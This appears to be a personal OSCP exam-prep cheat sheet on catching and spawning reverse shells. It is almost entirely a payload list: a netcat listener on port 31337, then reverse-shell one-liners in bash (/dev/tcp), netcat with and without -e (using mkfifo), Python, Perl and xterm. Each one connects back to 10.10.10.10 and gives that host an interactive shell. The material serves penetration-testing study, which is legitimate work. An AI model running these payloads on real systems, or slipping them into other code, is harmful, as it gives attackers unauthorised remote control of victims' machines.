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Jacob Shodd
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Reverse Shells

Catching Reverse Shells

  • Because metasploit usage is limited in the OSCP exam, we will stick to basic NetCat receivers
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nc -nvlp 31337
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Using Tools Present

  • Bash
1
bash -i >& /dev/tcp/10.10.10.10/31337 0>&1
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  • Netcat without -e flag
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 31337 >/tmp/f
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  • Netcat with -e flag
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nc -e /bin/bash 10.10.10.10 31337
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  • Python
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python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
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  • Perl
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perl -e 'use Socket;$i="10.10.10.10";$p=31337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
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  • Xterm
1
#On target system
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xterm -display 10.10.10.10:1
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​
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#On Kali
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Xnest :1
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xhost +<targetip>
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Catching Reverse Shells
Using Tools Present